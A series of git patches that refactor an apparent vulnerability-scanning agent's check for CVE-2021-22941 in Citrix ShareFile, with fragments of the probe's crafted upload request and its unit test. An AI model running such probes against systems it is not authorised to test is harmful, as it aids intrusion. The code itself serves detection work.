to detect specific vulnerability on a specific target. - Args: - - Returns: List of identified vulnerabilities. """ From db329e24229e369d713114b2845b43fd0ef1e11e Mon Sep 17 00:00:00 2001 From: ostorlab Date: Tue, 14 Nov 2023 18:31:58 +0100 Subject: [PATCH 18/23] Refactor code --- agent/definitions.py | 15 +++++++++++++-- agent/exploits/cve_2021_22941.py | 19 ++++++++----------- tests/exploits_test.py | 4 ++-- 3 files changed, 23 insertions(+), 15 deletions(-) diff --git a/agent/definitions.py b/agent/definitions.py index cbe4189a..2c7e0d94 100644 --- a/agent/definitions.py +++ b/agent/definitions.py @@ -21,13 +21,24 @@ class Exploit(abc.ABC): """Base Exploit""" @abc.abstractmethod - def accept(self) -> bool: + def accept(self, target: str) -> bool: + """Rule to detect specific vulnerability on a specific target. + + Args: + target: Target to verify + + Returns: + List of identified vulnerabilities. + """ pass @abc.abstractmethod - def check(self) -> list[Vulnerability]: + def check(self, target: str) -> list[Vulnerability]: """Rule to detect specific vulnerability on a specific target. + Args: + target: target to scan + Returns: List of identified vulnerabilities. """ diff --git a/agent/exploits/cve_2021_22941.py b/agent/exploits/cve_2021_22941.py index 18c66b6f..5171afff 100644 --- a/agent/exploits/cve_2021_22941.py +++ b/agent/exploits/cve_2021_22941.py @@ -36,17 +36,14 @@ class CVE2022294Exploit(definitions.Exploit): CVE-2021-22941: Improper Access Control in Citrix ShareFile storage zones controller """ - def __init__(self, target: str): - self.target = target - - def accept(self) -> bool: + def accept(self, target: str) -> bool: try: - req = requests.get(self.target, verify=False, timeout=DEFAULT_TIMEOUT) + req = requests.get(target, verify=False, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False return "ShareFile" in req.text - def check(self) -> list[definitions.Vulnerability]: + def check(self, target: str) -> list[definitions.Vulnerability]: content_file = "A" * 4096 files = {"name": "text4", "filename": "text5", "content_file": content_file} data, content_type = _encode_multipart_formdata(files) @@ -57,7 +54,7 @@ def check(self) -> list[definitions.Vulnerability]: "bp": "123", "accountid": "123", } - target_endpoint = self.target + "/upload.aspx" + target_endpoint = target + "/upload.aspx" try: requests.post( target_endpoint, @@ -68,7 +65,7 @@ def check(self) -> list[definitions.Vulnerability]: timeout=DEFAULT_TIMEOUT, ) req = requests.get( - self.target + "/configservice/Home/Error", + target + "/configservice/Home/Error", verify=False, timeout=DEFAULT_TIMEOUT, ) @@ -77,10 +74,10 @@ def check(self) -> list[definitions.Vulnerability]: if payload not in req.text: return [] - vulnerability = self.generate_vulnerability_object() + vulnerability = self._generate_vulnerability_object(target) return [vulnerability] - def generate_vulnerability_object(self) -> definitions.Vulnerability: + def _generate_vulnerability_object(self, target: str) -> definitions.Vulnerability: entry = kb.Entry( title=VULNERABILITY_TITLE, risk_rating="HIGH", @@ -101,7 +98,7 @@ def generate_vulnerability_object(self) -> definitions.Vulnerability: targeted_by_nation_state=False, ) technical_detail = ( - f"{self.target} is vulnerable to {VULNERABILITY_REFERENCE}, " + f"{target} is vulnerable to {VULNERABILITY_REFERENCE}, " f"{VULNERABILITY_TITLE}" ) vulnerability = definitions.Vulnerability( diff --git a/tests/exploits_test.py b/tests/exploits_test.py index 0ea79a45..a4930eae 100644 --- a/tests/exploits_test.py +++ b/tests/exploits_test.py @@ -10,7 +10,7 @@ def testCVE_2021_22941_whenVulnerable_reportFinding( requests_mock: req_mock.mocker.Mocker, ) -> None: """Unit test for CVE-2021-22941, case when target is vulnerable""" - exploit_instance = cve_2021_22941.CVE2022294Exploit("https://75.162.65.52") + exploit_instance = cve_2021_22941.CVE2022294Exploit() requests_mock.post(re.compile("https://75.162.65.52")) requests_mock.get( re.compile("https://75.162.65.52"), @@ -25,7 +25,7 @@ def testCVE_2021_22941_whenVulnerable_reportFinding( b"", ) - vulnerabilities = exploit_instance.check() + vulnerabilities = exploit_instance.check("https://75.162.65.52") vulnerability = vulnerabilities[0] assert ( From a925fe4116dc2b9f04bbd556f9eeca353e1f127e Mon Sep 17 00:00:00 2001 From: ostorlab Date: Tue, 14 Nov 2023 18:35:49 +0100 Subject: [PATCH 19/23] Refactor code --- agent/definitions.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/agent/definitions.py b/agent/definitions.py index 2c7e0d94..d5a111e1 100644 --- a/agent/definitions.py +++ b/agent/definitions.py @@ -22,7 +22,7 @@ class Exploit(abc.ABC): @abc.abstractmethod def accept(self, target: str) -> bool: - """Rule to detect specific vulnerability on a specific target. + """Rule to heuristically detect if specific target is valid. Args: target: Target to verify From 3542fdae883a9a66cb50a17ddd1ec70b561c587e Mon Sep 17 00:00:00 2001 From: ostorlab Date: Wed, 15 Nov 2023 11:03:26 +0100 Subject: [PATCH 20/23] Refactor code --- agent/definitions.py | 11 +++++++++-- agent/exploits/cve_2021_22941.py | 21 ++++++++++++--------- tests/exploits_test.py | 4 +++- 3 files changed, 24 insertions(+), 12 deletions(-) diff --git a/agent/definitions.py b/agent/definitions.py index d5a111e1..418c17c8 100644 --- a/agent/definitions.py +++ b/agent/definitions.py @@ -17,11 +17,18 @@ class Vulnerability: vulnerability_location: vuln_mixin.VulnerabilityLocation | None = None +@dataclasses.dataclass +class Target: + scheme: str + host: str + port: int + + class Exploit(abc.ABC): """Base Exploit""" @abc.abstractmethod - def accept(self, target: str) -> bool: + def accept(self, target: Target) -> bool: """Rule to heuristically detect if specific target is valid. Args: @@ -33,7 +40,7 @@ def accept(self, target: str) -> bool: pass @abc.abstractmethod - def check(self, target: str) -> list[Vulnerability]: + def check(self, target: Target) -> list[Vulnerability]: """Rule to detect specific vulnerability on a specific target. Args: diff --git a/agent/exploits/cve_2021_22941.py b/agent/exploits/cve_2021_22941.py index 5171afff..b39a9090 100644 --- a/agent/exploits/cve_2021_22941.py +++ b/agent/exploits/cve_2021_22941.py @@ -36,14 +36,16 @@ class CVE2022294Exploit(definitions.Exploit): CVE-2021-22941: Improper Access Control in Citrix ShareFile storage zones controller """ - def accept(self, target: str) -> bool: + def accept(self, target: definitions.Target) -> bool: + target_uri = f"{target.scheme}://{target.host}" try: - req = requests.get(target, verify=False, timeout=DEFAULT_TIMEOUT) + req = requests.get(target_uri, verify=False, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False return "ShareFile" in req.text - def check(self, target: str) -> list[definitions.Vulnerability]: + def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: + target_uri = f"{target.scheme}://{target.host}" content_file = "A" * 4096 files = {"name": "text4", "filename": "text5", "content_file": content_file} data, content_type = _encode_multipart_formdata(files) @@ -54,10 +56,9 @@ def check(self, target: str) -> list[definitions.Vulnerability]: "bp": "123", "accountid": "123", } - target_endpoint = target + "/upload.aspx" try: requests.post( - target_endpoint, + target_uri + "/upload.aspx", data=data, params=params, headers=headers, @@ -65,7 +66,7 @@ def check(self, target: str) -> list[definitions.Vulnerability]: timeout=DEFAULT_TIMEOUT, ) req = requests.get( - target + "/configservice/Home/Error", + target_uri + "/configservice/Home/Error", verify=False, timeout=DEFAULT_TIMEOUT, ) @@ -74,10 +75,12 @@ def check(self, target: str) -> list[definitions.Vulnerability]: if payload not in req.text: return [] - vulnerability = self._generate_vulnerability_object(target) + vulnerability = self._generate_vulnerability_object(target_uri) return [vulnerability] - def _generate_vulnerability_object(self, target: str) -> definitions.Vulnerability: + def _generate_vulnerability_object( + self, target_uri: str + ) -> definitions.Vulnerability: entry = kb.Entry( title=VULNERABILITY_TITLE, risk_rating="HIGH", @@ -98,7 +101,7 @@ def _generate_vulnerability_object(self, target: str) -> definitions.Vulnerabili targeted_by_nation_state=False, ) technical_detail = ( - f"{target} is vulnerable to {VULNERABILITY_REFERENCE}, " + f"{target_uri} is vulnerable to {VULNERABILITY_REFERENCE}, " f"{VULNERABILITY_TITLE}" ) vulnerability = definitions.Vulnerability( diff --git a/tests/exploits_test.py b/tests/exploits_test.py index a4930eae..15d6fda4 100644 --- a/tests/exploits_test.py +++ b/tests/exploits_test.py @@ -4,12 +4,14 @@ import requests_mock as req_mock from agent.exploits import cve_2021_22941 +from agent import definitions def testCVE_2021_22941_whenVulnerable_reportFinding( requests_mock: req_mock.mocker.Mocker, ) -> None: """Unit test for CVE-2021-22941, case when target is vulnerable""" + target = definitions.Target(scheme="https", host="75.162.65.52", port=443) exploit_instance = cve_2021_22941.CVE2022294Exploit() requests_mock.post(re.compile("https://75.162.65.52")) requests_mock.get( @@ -25,7 +27,7 @@ def testCVE_2021_22941_whenVulnerable_reportFinding( b"", ) - vulnerabilities = exploit_instance.check("https://75.162.65.52") + vulnerabilities = exploit_instance.check(target) vulnerability = vulnerabilities[0] assert ( From ab622ed8ac2d9b624c28d53ed101ce1fcd872ec4 Mon Sep 17 00:00:00 2001 From: ostorlab Date: Wed, 15 Nov 2023 11:05:08 +0100 Subject: [PATCH 21/23] Refactor code --- agent/definitions.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/agent/definitions.py b/agent/definitions.py index 418c17c8..0a020946 100644 --- a/agent/definitions.py +++ b/agent/definitions.py @@ -19,6 +19,8 @@ class Vulnerability: @dataclasses.dataclass class Target: + """Target asset""" + scheme: str host: str port: int From 9a969e1c4a5d4821a1fd06d255f81c68ac32266b Mon Sep 17 00:00:00 2001 From: ostorlab Date: Fri, 17 Nov 2023 14:28:54 +0100 Subject: [PATCH 22/23] Fix class name --- agent/exploits/cve_2021_22941.py | 2 +- tests/exploits_test.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/agent/exploits/cve_2021_22941.py b/agent/exploits/cve_2021_22941.py index b39a9090..61f45dc2 100644 --- a/agent/exploits/cve_2021_22941.py +++ b/agent/exploits/cve_2021_22941.py @@ -31,7 +31,7 @@ def _encode_multipart_formdata(files: dict[str, str]) -> tuple[str, str]: return body, content_type -class CVE2022294Exploit(definitions.Exploit): +class CVE20222941Exploit(definitions.Exploit): """ CVE-2021-22941: Improper Access Control in Citrix ShareFile storage zones controller """ diff --git a/tests/exploits_test.py b/tests/exploits_test.py index 15d6fda4..4685ccba 100644 --- a/tests/exploits_test.py +++ b/tests/exploits_test.py @@ -12,7 +12,7 @@ def testCVE_2021_22941_whenVulnerable_reportFinding( ) -> None: """Unit test for CVE-2021-22941, case when target is vulnerable""" target = definitions.Target(scheme="https", host="75.162.65.52", port=443) - exploit_instance = cve_2021_22941.CVE2022294Exploit() + exploit_instance = cve_2021_22941.CVE20222941Exploit() requests_mock.post(re.compile("https://75.162.65.52")) requests_mock.get( re.compile("https://75.162.65.52"), From 87617af1b6da3cd9f25626e12240635f1291e7f0 Mon Sep 17 00:00:00 2001 From: ostorlab Date: Fri, 17 Nov 2023 14:34:05 +0100 Subject: [PATCH 23/23] Black! --- agent/definitions.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/agent/definitions.py b/agent/definitions.py index 857ab664..3934a6fb 100644 --- a/agent/definitions.py +++ b/agent/definitions.py @@ -23,6 +23,7 @@ class Vulnerability: dna: str | None = None vulnerability_location: vuln_mixin.VulnerabilityLocation | None = None + class Exploit(abc.ABC): """Base Exploit""" @@ -53,4 +54,4 @@ def check(self, target: Target) -> list[Vulnerability]: @property def __key__(self) -> str: """Unique key for the class, mainly useful for registering the exploits.""" - return self.__class__.__name__ \ No newline at end of file + return self.__class__.__name__